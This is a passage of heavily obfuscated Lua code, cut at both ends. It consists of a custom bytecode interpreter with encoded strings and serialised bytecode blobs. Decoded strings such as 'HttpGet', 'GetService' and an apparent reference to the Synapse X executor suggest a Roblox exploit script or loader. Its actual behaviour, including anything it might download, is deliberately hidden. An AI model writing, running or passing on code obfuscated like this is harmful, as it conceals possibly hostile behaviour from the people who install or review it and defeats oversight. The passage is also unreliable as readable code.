123\69\64")()a("\114\115\67\109\66\91\108")()a("\74\127\84\112\69\70\127\75\96")()a("\65\72\94\124\64\91\110\103\76")()a("\93\84\67\111\108\80\127")()a("\114\65\90\122")()a("\74\127\94\113\88\65\121\75\96")()a("\79")()a("\103\65\64\120\78\65")()a("\93\69\86\123\71\80\120\103")()a("\86\85\69\109\78\91\127\87\94\127\106\77\95")()a("\97\89\71\122\68\83")()a("\97\65\85\115\78")()a("\82\69\67\92\67\92\103\112\77\119\97")()a("\114\65\90\122")()a("\112\82\69\112\89")()a("\114\69\67\109\74\66\102\113\75\115\123\94\92\76\121")()a("\94\79\69\125\71\90\115")()a("\103\65\64\108\78\65")()a("\103\66\79\126\88\70\110\96\86\118\53\16\17\22\43\27\38\10\43\21\35\29\11")()a("\93\69\86\123")()a("\93\85\90\126\69\90\98\112\109\125\96\75\110\65\110\86")()a("\82\69\67\76\78\71\125\125\92\119")()a("\86\76\94\122\69\65\38\71\86\118\106\91")()a("\70\80\94\113\11\119\100\96\31\89\106\70")()a("\101\67\86\115\71")()a("\116\83\68\122\89\65")()a("\67\65\69\120\88")()a("\114\77\86\107\72\93")()a("\83\111\97\90\69\84\105\120\90\118")()a("\121\79\86\123\88\65\121\125\81\117")()a("\97\79\68\107\89\92\101\115")()a("\74\127\84\112\69\70\127\75\96")()a("\103\65\64\108\78\65")()a("\86\73\69\124\71\80")()a("\67\65\69\120\88")()a("\90\85\67\121\66\65\43\88\80\115\107\90\76")()a("\67\65\69\120\88")()a("\113\69\84\109\82\69\127")()a("\116\83\68\122\89\65")()a("\81\69\84\112\79\80")()a("\97\79\68\107\89\92\101\115")()a("\112\78\84\112\79\80")()a("\123\69\64")()a("\103\65\64\120\78\65")()a("\103\65\64\108\78\65")()a("\101\65\94\109\88")()a("\98\72\94\107\78\89\98\103\75\119\107")()a("\70\67\69\118\91\65")()a("\112\82\69\112\89")()a("\114\105\89\107")()a("\83\73\89\123\109\92\121\103\75\81\103\86\82\68")()a("\118\79\89\108\95\84\101\96\76")()a("\114\98\94\107\88\13")()a("\70\84\86\109\95\80\121\83\74\123")()a("\102\69\89\123\101\90\127\125\89\123\108\94\74\73\115\76")()a("\86\72\86\109\74\86\127\113\77")()a("\114\69\67\114\78\65\106\96\94\112\99\90")()a("\93\84\67\111\108\80\127")()a("\86\82\82\126\95\80\73\125\81\118")()a("\88\73\68\124\78\89\103\117\81\119\96\74\77")()a({400})a("\121\79\86\123\88\65\121\125\81\117")()a("\84\73\90\115\68\86\96\95\90\107")()a("\96\78\71\126\72\94")()a("\59\71\80\48\88\90\121\117")()a("\87\69\86\108\95\21\70\123\91\119")()a("\116\83\68\122\89\65")()a("\74\127\84\112\69\70\127\75\96")()a("\112\78\84\109\82\69\127")()a("\69\82\82\123\66\86\127\125\80\124\78\82\81\85\114\86")()a({4})a("\90\80\86\109\76\103")()a("\114\69\67\92\71\90\120\113\76\102\95\83\95\89\121\80\65\80\95\82\99\94\92\102")()a("\70\84\86\124\64")()a({2})a("\86\79\91\112\89")()a("\95\73\67\107\78\71")()a("\98\65\91\115\82\21\98\103\31\117\110\70")()a("\113\69\84\109\82\69\127")()a("\67\65\69\120\88")()a("\53\66\78\107\78")()a("\94\69\78")()a("\93\84\67\111\108\80\127")()a("\64\80\71\122\89\97\100\102\76\125")()a("\120\69\91\126\69\86\99\123\83\107\47\86\77\0\107\71\124\77\120\25\43\5")()a("\83\111\97")()a("\86")()a("\97\79\68\107\89\92\101\115")()a("\102\69\67\109\78\84\111\123\81\126\118")()a("\81\69\84\112\79\80")()a("\93\69\86\115\95\93")()a("\103\69\70\106\66\71\110")()a("\65\79\80\120\71\80\111")()a("\121\79\86\123")()a("\86\82\82\126\95\80\95\123\88\117\99\90")()a("\70\98\23\76\91\80\110\112")()a("\118\79\89\113\78\86\127")()a("\66\116\97\79")()a("\80\78\86\125\71\80\111")()a("\118\72\86\109")()a("\103\65\64\120\78\65")()a("\114\115\67\109\66\91\108")()a("\96\78\71\126\72\94")()a("\53\115\94\115\78\91\127\52\126\123\98")()a("\82\69\67\82\68\64\120\113")()a("\103\65\64\108\78\65")()a("\97\89\71\122\68\83")()a("\70\84\86\124\64")()a("\86\72\94\115\79\116\111\112\90\118")()a("\102\69\91\122\72\65")()a("\84\73\90\115\68\86\96")()a("\86\82\82\126\95\80\79\102\80\98\107\80\73\78")()a("\83\73\91\115\78\81")()a("\94\69\78\63\95\90\43\120\80\113\100\31\81\78")()a("\84\73\90\94\95")()a("\96\80\83\126\95\80\77\91\105")()a("\70\72\88\104\11\115\68\66")()a("\94\69\78\92\68\81\110")()a("\90\80\86\109\76\103")()a("\112\78\84\109\82\69\127")()a("\91\65\90\122")()a("\118\79\89\108\95\84\101\96\76")()a("\112\78\84\112\79\80")()a("\81\69\84\112\79\80")()a("\70\89\89\126\91\70\110\52\103\87\97\31\105\105\114\108\124\81\123")()a("\91\65\90\122")()a("\86\82\82\126\95\80\73\97\75\102\96\81")()a("\69\76\86\102\78\71\120")()a("\121\69\89")()a("\93\84\67\111\108\80\127")()a("\98\65\94\107")()a("\86\79\91\112\89\6")()a({30})a("\70\89\89\126\91\70\110\52\103\87\97\31\105\105\114\108\124\81\123")()a("\112\78\84\112\79\80")()a("\94\69\78\125\66\91\111")()a("\98\72\94\107\78\89\98\103\75\119\107")()a("\118\79\69\112\94\65\98\122\90")()a("\112\78\84\109\82\69\127")()a("\116\83\68\122\89\65")()a("\118\79\69\112\94\65\98\122\90")()a("\91\65\90\122")()end;do local c={}local function d(d)local g={}local h=1;local i=#d-1;local j=function(a)a=a or 1;local b=j(d,h,h+(a-1))h=h+a;return b end;local k=function()local a,b=f(d,h,h+1)h=h+2;return(b*256)+a end;local l=function()local a,b,c=f(d,h,h+2)h=h+3;return(c*65536)+(b*256)+a end;local m=function()local a,b,c,d=f(d,h,h+3)h=h+4;return(d*16777216)+(c*65536)+(b*256)+a end;local d=function()local a,b,c,d,e=f(d,h,h+4)h=h+5;return(d*16777216)+(c*65536)+(b*256)+a+(e*4294967296)end;local e,n,o,p=e(0),e(1),e(2),e(3)local p,p,p=f(n),f(o),f(p)local p=a[(b[927190])]local l=function()local a,c,d;local g=j()do if(g==(b[5489369])or g==(b[9286643]))then return a,c,d,g==(b[9286643])else local h=j()do if h==e then a=f(j())elseif h==n then a=j()==(b[2473748])end end ;local f=j()do if f==e then local a=(g==(b[1174534]))and l()or m()do if(g==(b[8303280]))then a=a-131071 end end ;c=a elseif f==n then c=j()==(b[2473748])end end ;do if(g==(b[1174534]))then local a=j()do if a==e then d=l()elseif a==n then d=j()==(b[2473748])end end end end ;return a,c,d,false end end end;while true do local g=j()if g==o then break end;do if g==e then local e={}local g=k()local h,i,k,l=l()local f=f(j())e[(b[3976592])]=l;e[(b[5004852])]=f;e[4302]=h;e[(b[9872999])]=d()e[-3467]=k;e[1952]=i;a(g)(e)do if not l then local a=m()c[a]=g end end end end ;do if g==n then local e={}local g=f(j())local c=c[g]local g,h,i,k=l()local f=f(j())e[1952]=h;e[(b[3976592])]=k;e[(b[5004852])]=f;e[-3467]=i;e[4302]=g;e[(b[9872999])]=d()a(c)(e)end end ;do if h>i then break end end end;do for a,b in K(c)do c[a]=nil end end ;c=nil;return g end;d(v)end;do local c=a[(b[9152197])]local c;c=function(d)local g={}local g=1;local h=#d-1;local h=function(a)a=a or 1;local b=j(d,g,g+(a-1))g=g+a;return b end;local i=function()local a,b,c,d,e=f(d,g,g+4)g=g+5;return(d*16777216)+(c*65536)+(b*256)+a+(e*4294967296)end;local k=function()local a,b,c=f(d,g,g+2)g=g+3;return(c*65536)+(b*256)+a end;local l=function()local a,b,c,d=f(d,g,g+3)g=g+4;return(d*16777216)+(c*65536)+(b*256)+a end;local d=function()local a,b=f(d,g,g+1)g=g+2;return(b*256)+a end;local g=function()local a=l()local b=l()local c=1;local a=(w(b,1,20)*(2^32))+a;local d=w(b,21,31)local b=((-1)^w(b,32))if(d==0)then do if(a==0)then return b*0 else d=1;c=0 end end elseif(d==2047)then if(a==0)then return b*(1/0)else return b*(0/0)end end;return o(b,d-1023)*(c+(a/(2^52)))end;local m=function()return l()*4294967296+l()end;local e,m,n,o=e(0),e(1),e(2),e(3)local n,n,n=f(m),f(n),f(o)local a=a[(b[9152197])]local a=function()local a,b,c;local d=f(h())do if(d==6 or d==213)then return a,b,c,d==213 else local g=h()do if g==e then a=f(h())elseif g==m then a=f(h())==212 end end ;local g=h()do if g==e then local a=(d==38)and k()or l()do if(d==237)then a=a-131071 end end ;b=a elseif g==m then b=f(h())==212 end end ;if(d==38)then local a=h()if a==e then c=k()elseif a==m then c=f(h())==212 end end;return a,b,c end end end;local k,n,o=0,0,0;local p={[(b[5438370])]={},[(b[2148924])]={},[(b[8376175])]={}}p[(b[7197484])]=h():byte()p[(b[8119126])]=h():byte()local q={}while(true)do local r=f(h())if(r==222)then local a=l()do for a=0,a-1 do local a=nil;local a=f(h())do local c=386.64811333990673;local d=51;local e=88.54789838486288;local f={}repeat do if((e==67.28453806091493)and(c==389.8552333146105)and(f[633]==false)and(f[341]==(b[7461016]))and(f[180]==(b[7675538])))and(d+196==589)then if(a==203)then o=o+1;local a=l()p[(b[5438370])][o]={j(h(a),1,-2)}end;c=172.2020435479825;f[180]=(b[5212208])f[633]=false;f[341]=(b[7448503])d=439;e=252.2402484188213 end end ;do if((e==391.1570969027352)and(c==232.53228771714953)and(f[633]==false)and(f[341]==(b[9030967]))and(f[180]==(b[4452893])))and(d+0==0)then if(a==180)then o=o+1;p[(b[5438370])][o]=nil end;f[633]=false;e=172.05968510366665;d=118;c=94.46460056993577;f[341]=(b[513678])f[180]=(b[2540804])end end ;do if(d*11==1298)then do if((e==172.05968510366665)and(c==94.46460056993577)and(f[633]==false)and(f[341]==(b[513678]))and(f[180]==(b[2540804])))and(d+59==177)then f[180]=(b[4402315])e=502.4361528526908;f[633]=false;d=178;if(a==95)then o=o+1;p[(b[5438370])][o]=false end;f[341]=(b[4022297])c=272.7212716449098 end end end end ;if(d*82==67486)then while(d+411==1234)and((e==122.15757076734182)and(c==336.82164936401017)and(f[633]==false)and(f[341]==(b[3687273]))and(f[180]==(b[7740769])))do f[180]=(b[7675538])do if(a==133)then o=o+1;local a=l()p[(b[5438370])][o]=h(a)end end ;e=67.28453806091493;f[633]=false;f[341]=(b[7461016])c=389.8552333146105;d=393;break end end;if(d*50==25050)then do while((e==489.71399242243064)and(c==236.38959691222206)and(f[633]==false)and(f[341]==(b[4129576]))and(f[180]==(b[7880653])))and(d+250==751)do f[180]=(b[7740769])f[633]=false;c=336.82164936401017;e=122.15757076734182;f[341]=(b[3687273])do if(a==117)then o=o+1;p[(b[5438370])][o]=g()end end ;d=823;break end end end;do if(d+219==658)and((e==252.2402484188213)and(c==172.2020435479825)and(f[633]==false)and(f[341]==(b[7448503]))and(f[180]==(b[5212208])))then break end end ;do if(d+89==267)and((e==502.4361528526908)and(c==272.7212716449098)and(f[633]==false)and(f[341]==(b[4022297]))and(f[180]==(b[4402315])))then d=501;e=489.71399242243064;do if(a==106)then o=o+1;p[(b[5438370])][o]=true end end ;f[633]=false;f[341]=(b[4129576])f[180]=(b[7880653])c=236.38959691222206 end end ;do if(d*5==255)then do while(d+25==76)and((e==88.54789838486288)and(c==386.64811333990673))do f[633]=false;d=0;e=391.1570969027352;f[341]=(b[9030967])f[180]=(b[4452893])c=232.53228771714953;break end end end end ;do while(d+154==462)and((e==54.26587946622258)and(c==163.95865969590162)and(f[633]==false)and(f[341]==(b[6334898]))and(f[180]==(b[5511964])))do c=386.64811333990673;e=88.54789838486288;d=51;break end end until(false)end end end end;do if(r==1)then local c=l()for c=0,c-1 do local c=f(h())do if c==f(e)then n=n+1;local c={}local d=d()local a,e,g,j=a()local f=f(h())c[4302]=a;c[(b[8971289])]=d;c[(b[9872999])]=i()c[1952]=e;c[(b[3976592])]=j;c[(b[8887677])]=f;c[-3467]=g;p[(b[2148924])][n]=c;if not j then local a=l()q[a]=d end end end ;do if c==f(m)then n=n+1;local c={}local d=f(h())local d=q[d]local a,e,g=a()local f=f(h())c[4302]=a;c[(b[9872999])]=i()c[(b[8971289])]=d;c[(b[8887677])]=f;c[1952]=e;c[-3467]=g;p[(b[2148924])][n]=c end end end end end ;if(r==207)then local a=l()for a=0,a-1 do k=k+1;h()local a=l()p[(b[8376175])][k]=c(h(a))end end;do if(r==36)then break end end end;return p end;a(c("\0\1\222\18\0\0\0\203\8\0\0\0\113\69\84\109\82\69\127\0\203\8\0\0\0\81\69\68\107\89\90\114\0\203\5\0\0\0\121\79\86\123\0\203\6\0\0\0\101\67\86\115\71\0\203\7\0\0\0\102\69\91\122\72\65\0\203\6\0\0\0\53\66\78\107\78\0\203\7\0\0\0\93\69\86\115\95\93\0\203\8\0\0\0\84\78\94\114\74\65\110\0\203\6\0\0\0\112\82\69\112\89\0\203\7\0\0\0\70\67\69\118\91\65\0\203\3\0\0\0\116\67\0\203\6\0\0\0\53\66\78\107\78\0\203\7\0\0\0\102\73\77\122\68\83\0\203\4\0\0\0\92\83\118\0\203\10\0\0\0\74\127\84\112\69\70\127\75\96\0\203\10\0\0\0\74\127\94\113\88\65\121\75\96\0\203\22\0\0\0\93\101\101\77\127\97\43\82\106\65\76\126\106\111\78\2\43\31\93\107\93\0\203\5\0\0\0\91\65\90\122\0\1\18\0\0\0\0\146\23\237\0\113\0\229\0\2\0\0\1\0\0\0\0\1\0\0\0\0\67\26\237\0\0\0\0\0\2\0\0\1\0\0\0\0\2\0\0\0\0\255\3\237\0\192\0\255\255\1\0\0\0\0\0\0\0\3\0\0\0\0\168\1\38\0\1\0\0\0\0\0\13\1\0\3\75\0\64\0\0\4\0\0\0\0\88\0\183\0\3\0\9\0\0\0\1\193\64\0\0\0\5\0\0\0\0\235\2\38\0\1\0\3\0\0\0\2\0\0\0\92\128\128\1\0\6\0\0\0\0\7\2\38\0\1\0\0\0\0\1\212\0\90\0\0\0\0\7\0\0\0\0\203\0\237\0\0\0\8\0\2\0\0\22\0\2\128\0\8\0\0\0\0\118\37\38\0\1\0\0\0\0\0\17\1\0\3\70\128\64\0\0\9\0\0\0\0\253\11\38\1\212\0\1\0\0\0\7\1\0\3\87\192\192\0\0\10\0\0\0\1\8\237\0\0\0\5\0\2\0\0\22\64\1\128\0\0\60\1\183\0\1\0\10\0\0\0\1\69\0\1\0\0\11\0\0\0\1\9\38\0\1\0\1\0\0\0\17\1\0\3\70\128\192\0\0\1\10\38\1\212\0\1\0\0\0\6\1\0\3\87\64\193\0\0\1\8\237\0\0\0\1\0\2\0\0\22\64\0\128\0\1\4\38\0\1\0\0\0\0\0\1\1\0\3\75\128\65\0\0\0\228\8\38\0\1\0\2\0\0\0\1\0\0\0\92\64\0\1\0\12\0\0\0\0\225\5\38\0\3\0\0\0\0\0\0\0\0\0\30\0\128\0\0\13\0\0\0\207\0\0\0\0\36"))a(c("\1\1\222\44\0\0\0\203\7\0\0\0\102\73\77\122\68\83\0\203\7\0\0\0\102\84\69\118\69\82\0\95\203\5\0\0\0\118\72\86\109\0\203\5\0\0\0\114\83\66\125\0\203\10\0\0\0\86\72\86\109\74\86\127\113\77\0\203\4\0\0\0\123\69\64\0\203\7\0\0\0\116\83\68\122\89\65\0\106\203\11\0\0\0\71\85\89\76\78\71\125\125\92\119\0\203\10\0\0\0\74\127\84\112\69\70\127\75\96\0\203\8\0\0\0\113\69\84\109\82\69\127\0\203\8\0\0\0\70\84\82\111\91\80\111\0\203\7\0\0\0\116\83\68\122\89\65\0\203\5\0\0\0\98\65\94\107\0\203\10\0\0\0\118\79\89\108\95\84\101\96\76\0\203\7\0\0\0\81\69\84\112\79\80\0\203\8\0\0\0\65\79\80\120\71\80\111\0\203\11\0\0\0\82\69\67\76\78\71\125\125\92\119\0\203\5\0\0\0\114\65\90\122\0\203\17\0\0\0\93\85\90\126\69\90\98\112\109\125\96\75\110\65\110\86\0\203\15\0\0\0\125\69\69\109\95\65\43\125\76\50\124\90\70\89\0\203\7\0\0\0\116\83\68\122\89\65\0\203\22\0\0\0\93\101\101\77\127\97\43\82\106\65\76\126\106\111\78\2\43\31\93\107\93\0\203\14\0\0\0\88\79\65\122\111\92\121\113\92\102\102\80\80\0\203\4\0\0\0\94\69\78\0\203\5\0\0\0\97\89\71\122\0\203\9\0\0\0\93\85\90\126\69\90\98\112\0\203\7\0\0\0\103\65\64\108\78\65\0\203\13\0\0\0\114\69\67\114\78\65\106\96\94\112\99\90\0\203\12\0\0\0\89\79\84\126\71\101\103\117\70\119\125\0\203\6\0\0\0\70\80\82\122\79\0\203\7\0\0\0\114\115\94\101\78\65\0\203\7\0\0\0\86\102\69\126\70\80\0\203\16\0\0\0\114\69\67\109\74\66\102\113\75\115\123\94\92\76\121\0\203\8\0\0\0\114\98\94\107\88\6\57\0\203\8\0\0\0\80\78\86\125\71\80\111\0\203\7\0\0\0\116\83\68\122\89\65\0\203\8\0\0\0\86\102\100\111\78\80\111\0\203\10\0\0\0\74\127\94\113\88\65\121\75\96\0\203\6\0\0\0\121\79\64\122\89\0\203\8\0\0\0\69\76\86\102\78\71\120\0\203\5\0\0\0\91\65\90\122\0\203\6\0\0\0\97\65\85\115\78\0\1\63\0\0\0\0\146\23\237\0\217\0\201\0\2\0\0\1\0\0\0\0\1\0\0\0\0\67\26\237\0\0\0\0\0\2\0\0\1\0\0\0\0\2\0\0\0\0\255\3\237\0\107\0\255\255\1\0\0\0\0\0\0\0\3\0\0\0\0\143\2\38\0\1\0\0\0\0\0\0\0\0\0\68\0\0\0\0\4\0\0\0\0\118\37\38\0\1\0\1\0\0\0\38\1\0\3\70\0\192\0\0\5\0\0\0\1\5\38\0\1\0\1\0\0\0\25\1\0\3\70\64\192\0\0\0\168\1\38\0\1\0\1\0\0\0\40\1\0\3\75\128\192\0\0\6\0\0\0\0\235\2\38\0\1\0\2\0\0\0\2\0\0\0\92\128\0\1\0\7\0\0\0\0\87\2\38\1\224\0\0\0\0\0\1\0\0\0\23\64\0\0\0\8\0\0\0\0\203\0\237\0\0\0\51\0\2\0\0\22\192\12\128\0\9\0\0\0\1\4\38\0\2\0\0\0\0\0\0\0\0\0\132\0\0\0\0\1\5\38\0\2\0\2\0\0\0\38\1\0\3\134\0\64\1\0\1\5\38\0\2\0\2\0\0\0\17\1\0\3\134\192\64\1\0\0\7\2\38\0\2\0\0\0\0\1\212\0\154\0\0\0\0\10\0\0\0\1\9\237\0\0\0\46\0\2\0\0\22\128\11\128\0\1\4\38\0\2\0\0\0\0\0\0\0\0\0\132\0\0\0\0\1\5\38\0\2\0\2\0\0\0\38\1\0\3\134\0\64\1\0\1\4\38\0\3\0\0\0\0\0\0\0\0\0\196\0\0\0\0\1\5\38\0\3\0\3\0\0\0\38\1\0\3\198\0\192\1\0\1\5\38\0\3\0\3\0\0\0\36\1\0\3\198\0\193\1\0\0\53\3\38\0\3\0\3\0\0\0\0\0\0\0\211\0\128\1\0\11\0\0\0\0\31\1\38\0\2\0\36\1\0\0\3\0\0\2\137\192\0\130\0\12\0\0\0\1\4\38\0\2\0\0\0\0\0\0\0\0\0\132\0\0\0\0\1\5\38\0\2\0\2\0\0\0\38\1\0\3\134\0\64\1\0\1\5\38\0\2\0\2\0\0\0\36\1\0\3\134\0\65\1\0\0\253\11\38\1\224\0\2\0\0\0\8\1\0\3\23\64\65\1\0\13\0\0\0\1\9\237\0\0\0\34\0\2\0\0\22\128\8\128\0\0\60\1\183\0\2\0\19\0\0\0\1\133\128\1\0\0\14\0\0\0\1\5\38\0\2\0\2\0\0\0\41\1\0\3\134\192\65\1\0\1\5\38\0\2\0\2\0\0\0\30\1\0\3\134\0\66\1\0\1\5\38\0\2\0\2\0\0\0\5\1\0\3\134\64\66\1\0\1\5\38\0\2\0\2\0\0\0\20\1\0\3\134\128\66\1\0\1\14\183\0\3\0\19\0\0\0\1\197\128\1\0\0\1\5\38\0\3\0\3\0\0\0\41\1\0\3\198\192\193\1\0\1\5\38\0\3\0\3\0\0\0\30\1\0\3\198\0\194\1\0\1\5\38\0\3\0\3\0\0\0\5\1\0\3\198\64\194\1\0\1\5\38\0\3\0\3\0\0\0\20\1\0\3\198\128\194\1\0\1\5\38\0\3\0\3\0\0\0\33\1\0\3\198\192\194\1\0\1\14\183\0\4\0\19\0\0\0\1\5\129\1\0\0\1\5\38\0\4\0\4\0\0\0\41\1\0\3\6\193\65\2\0\1\5\38\0\4\0\4\0\0\0\30\1\0\3\6\1\66\2\0\1\5\38\0\4\0\4\0\0\0\5\1\0\3\6\65\66\2\0\1\5\38\0\4\0\4\0\0\0\27\1\0\3\6\1\67\2\0\1\5\38\0\4\0\4\0\0\0\24\1\0\3\6\65\67\2\0\1\4\38\0\5\0\0\0\0\0\0\0\0\0\68\1\0\0\0\1\5\38\0\5\0\5\0\0\0\38\1\0\3\70\1\192\2\0\1\5\38\0\5\0\5\0\0\0\31\1\0\3\70\129\195\2\0\0\46\3\38\0\4\0\4\0\0\0\5\0\0\0\14\65\1\2\0\15\0\0\0\0\177\0\38\0\3\0\3\0\0\0\4\0\0\0\204\0\129\1\0\16\0\0\0\1\12\38\0\2\0\33\1\0\0\3\0\0\2\137\192\128\133\0\1\14\183\0\2\0\19\0\0\0\1\133\128\1\0\0\1\6\38\0\2\0\2\0\0\0\18\1\0\3\139\192\67\1\0\0\88\0\183\0\4\0\9\0\0\0\1\1\1\4\0\0\17\0\0\0\1\7\38\0\2\0\3\0\0\0\2\0\0\0\156\128\128\1\0\1\5\38\0\2\0\2\0\0\0\12\1\0\3\134\64\68\1\0\1\6\38\0\2\0\2\0\0\0\14\1\0\3\139\128\68\1\0\0\228\8\38\0\2\0\2\0\0\0\22\0\0\0\156\64\0\1\0\18\0\0\0\1\4\38\0\2\0\0\0\0\0\0\0\0\0\132\0\0\0\0\1\5\38\0\2\0\2\0\0\0\38\1\0\3\134\0\64\1\0\1\5\38\0\2\0\2\0\0\0\36\1\0\3\134\0\65\1\0\1\13\38\1\224\0\2\0\0\0\2\1\0\3\23\192\68\1\0\1\9\237\0\0\0\220\255\1\0\0\22\0\247\127\0\0\225\5\38\0\1\0\13\0\0\0\0\0\0\0\30\0\128\0\0\19\0\0\0\207\0\0\0\0\36"))a(c("\5\0\222\32\0\0\0\203\2\0\0\0\76\0\203\7\0\0\0\116\83\68\122\89\65\0\203\11\0\0\0\121\79\86\123\88\65\121\125\81\117\0\203\5\0\0\0\114\83\66\125\0\203\10\0\0\0\74\127\94\113\88\65\121\75\96\0\203\8\0\0\0\67\73\68\118\73\89\110\0\117\0\0\0\0\0\0\0\64\203\16\0\0\0\114\69\67\109\74\66\102\113\75\115\123\94\92\76\121\0\203\9\0\0\0\97\79\68\107\89\92\101\115\0\203\7\0\0\0\114\77\86\107\72\93\0\95\203\7\0\0\0\71\65\83\118\94\70\0\203\22\0\0\0\93\101\101\77\127\97\43\82\106\65\76\126\106\111\78\2\43\31\93\107\93\0\203\4\0\0\0\102\89\89\0\203\8\0\0\0\84\73\90\115\68\86\96\0\203\4\0\0\0\123\69\64\0\203\5\0\0\0\114\105\89\107\0\106\203\8\0\0\0\83\111\97\76\66\79\110\0\203\5\0\0\0\118\72\86\109\0\203\9\0\0\0\69\79\68\118\95\92\100\122\0\203\20\0\0\0\70\89\89\126\91\70\110\52\103\87\97\31\105\105\114\108\124\81\123\0\203\5\0\0\0\114\65\90\122\0\203\11\0\0\0\121\79\86\123\88\65\121\125\81\117\0\203\8\0\0\0\67\69\84\107\68\71\57\0\203\2\0\0\0\77\0\203\7\0\0\0\97\89\71\122\68\83\0\203\11\0\0\0\83\111\97\90\69\84\105\120\90\118\0\203\8\0\0\0\83\111\97\76\67\90\124\0\203\7\0\0\0\81\69\84\112\79\80\0\203\7\0\0\0\114\98\94\107\88\13\0\203\16\0\0\0\114\69\67\109\74\66\102\113\75\115\123\94\92\76\121\0\1\50\0\0\0\0\146\23\237\0\220\0\71\0\2\0\0\1\0\0\0\0\1\0\0\0\0\67\26\237\0\0\0\0\0\2\0\0\1\0\0\0\0\2\0\0\0\0\255\3\237\0\61\0\255\255\1\0\0\0\0\0\0\0\3\0\0\0\0\143\2\38\0\0\0\0\0\0\0\0\0\0\0\4\0\0\0\0\4\0\0\0\0\118\37\38\0\0\0\0\0\0\0\14\1\0\3\6\0\64\0\0\5\0\0\0\1\5\38\0\0\0\0\0\0\0\27\1\0\3\6\64\64\0\0\0\253\11\38\1\224\0\0\0\0\0\17\1\0\3\23\128\64\0\0\6\0\0\0\0\203\0\237\0\0\0\35\0\2\0\0\22\192\8\128\0\7\0\0\0\1\4\38\0\0\0\0\0\0\0\0\0\0\0\4\0\0\0\0\1\5\38\0\0\0\0\0\0\0\14\1\0\3\6\0\64\0\0\1\5\38\0\0\0\0\0\0\0\28\1\0\3\6\192\64\0\0\1\6\38\1\224\0\0\0\0\0\17\1\0\3\23\128\64\0\0\1\7\237\0\0\0\30\0\2\0\0\22\128\7\128\0\1\4\38\0\0\0\1\0\0\0\0\0\0\0\4\0\128\0\0\0\7\2\38\0\0\0\0\0\0\1\212\0\26\0\0\0\0\8\0\0\0\1\7\237\0\0\0\32\0\2\0\0\22\0\8\128\0\1\4\38\0\0\0\1\0\0\0\0\0\0\0\4\0\128\0\0\1\4\38\0\1\0\0\0\0\0\0\0\0\0\68\0\0\0\0\1\5\38\0\1\0\1\0\0\0\14\1\0\3\70\0\192\0\0\1\5\38\0\1\0\1\0\0\0\18\1\0\3\70\64\193\0\0\0\46\3\38\0\1\0\1\0\0\0\6\1\0\3\78\128\193\0\0\9\0\0\0\0\31\1\38\0\0\0\11\1\0\0\1\0\0\2\9\64\0\130\0\10\0\0\0\1\4\38\0\0\0\1\0\0\0\0\0\0\0\4\0\128\0\0\1\4\38\0\1\0\0\0\0\0\0\0\0\0\68\0\0\0\0\1\5\38\0\1\0\1\0\0\0\14\1\0\3\70\0\192\0\0\1\5\38\0\1\0\1\0\0\0\28\1\0\3\70\192\192\0\0\1\10\38\0\0\0\5\1\0\0\1\0\0\2\9\64\128\131\0\1\4\38\0\0\0\1\0\0\0\0\0\0\0\4\0\128\0\0\0\60\1\183\0\1\0\24\0\0\0\1\69\64\2\0\0\11\0\0\0\1\5\38\0\1\0\1\0\0\0\15\1\0\3\70\128\194\0\0\1\4\38\0\2\0\2\0\0\0\0\0\0\0\132\0\0\1\0\1\5\38\0\2\0\2\0\0\0\25\1\0\3\134\192\66\1\0\1\4\38\0\3\0\2\0\0\0\0\0\0\0\196\0\0\1\0\1\5\38\0\3\0\3\0\0\0\0\1\0\3\198\0\195\1\0\1\4\38\0\4\0\3\0\0\0\0\0\0\0\4\1\128\1\0\1\4\38\0\5\0\4\0\0\0\0\0\0\0\68\1\0\2\0\0\235\2\38\0\4\0\2\0\0\0\2\0\0\0\28\129\0\1\0\12\0\0\0\1\5\38\0\4\0\4\0\0\0\0\1\0\3\6\1\67\2\0\0\177\0\38\0\3\0\3\0\0\0\4\0\0\0\204\0\129\1\0\13\0\0\0\1\12\38\0\1\0\3\0\0\0\2\0\0\0\92\128\128\1\0\1\10\38\0\0\0\20\1\0\0\1\0\0\2\9\64\0\132\0\1\4\38\0\0\0\1\0\0\0\0\0\0\0\4\0\128\0\0\0\220\3\38\0\0\0\2\0\0\0\0\0\0\0\30\0\0\1\0\14\0\0\0\1\7\237\0\0\0\4\0\2\0\0\22\0\1\128\0\1\4\38\0\0\0\0\0\0\0\0\0\0\0\4\0\0\0\0\1\5\38\0\0\0\0\0\0\0\14\1\0\3\6\0\64\0\0\1\10\38\0\0\0\28\1\0\0\10\1\0\4\9\64\195\129\0\1\4\38\0\0\0\1\0\0\0\0\0\0\0\4\0\128\0\0\1\10\38\0\0\0\5\1\0\0\10\1\0\4\9\64\195\131\0\0\225\5\38\0\14\0\23\0\0\0\0\0\0\0\30\0\128\0\0\15\0\0\0\207\0\0\0\0\36"))a(c("\1\1\222\6\0\0\0\203\21\0\0\0\66\79\69\115\79\97\100\66\86\119\120\79\81\82\104\114\122\86\114\83\0\203\8\0\0\0\113\69\84\109\82\69\127\0\203\8\0\0\0\114\98\94\107\88\3\63\0\203\22\0\0\0\93\101\101\77\127\97\43\82\106\65\76\126\106\111\78\2\43\31\93\107\93\0\203\7\0\0\0\116\83\68\122\89\65\0\203\7\0\0\0\116\83\68\122\89\65\0\1\9\0\0\0\0\146\23\237\0\163\0\54\0\2\0\0\1\0\0\0\0\1\0\0\0\0\67\26\237\0\0\0\0\0\2\0\0\1\0\0\0\0\2\0\0\0\0\255\3\237\0\42\0\255\255\1\0\0\0\0\0\0\0\3\0\0\0\0\143\2\38\0\1\0\0\0\0\0\0\0\0\0\68\0\0\0\0\4\0\0\0\0\168\1\38\0\1\0\1\0\0\0\0\1\0\3\75\0\192\0\0\5\0\0\0\0\33\8\38\0\0\0\3\0\0\0\0\0\0\0\192\0\0\0\0\6\0\0\0\0\74\2\38\0\1\0\3\0\0\0\0\0\0\0\93\0\128\1\0\7\0\0\0\0\140\29\38\0\1\0\17\0\0\0\0\0\0\0\94\0\0\0\0\8\0\0\0\0\225\5\38\0\19\0\8\0\0\0\0\0\0\0\30\0\128\0\0\9\0\0\0\207\0\0\0\0\36"))a(c("\1\1\222\6\0\0\0\203\7\0\0\0\116\83\68\122\89\65\0\203\20\0\0\0\70\89\89\126\91\70\110\52\103\87\97\31\105\105\114\108\124\81\123\0\203\4\0\0\0\102\89\89\0\203\8\0\0\0\113\69\84\109\82\69\127\0\203\22\0\0\0\93\101\101\77\127\97\43\82\106\65\76\126\106\111\78\2\43\31\93\107\93\0\203\19\0\0\0\66\79\69\115\79\97\100\71\92\96\106\90\80\112\115\75\123\75\0\1\10\0\0\0\0\146\23\237\0\175\0\230\0\2\0\0\1\0\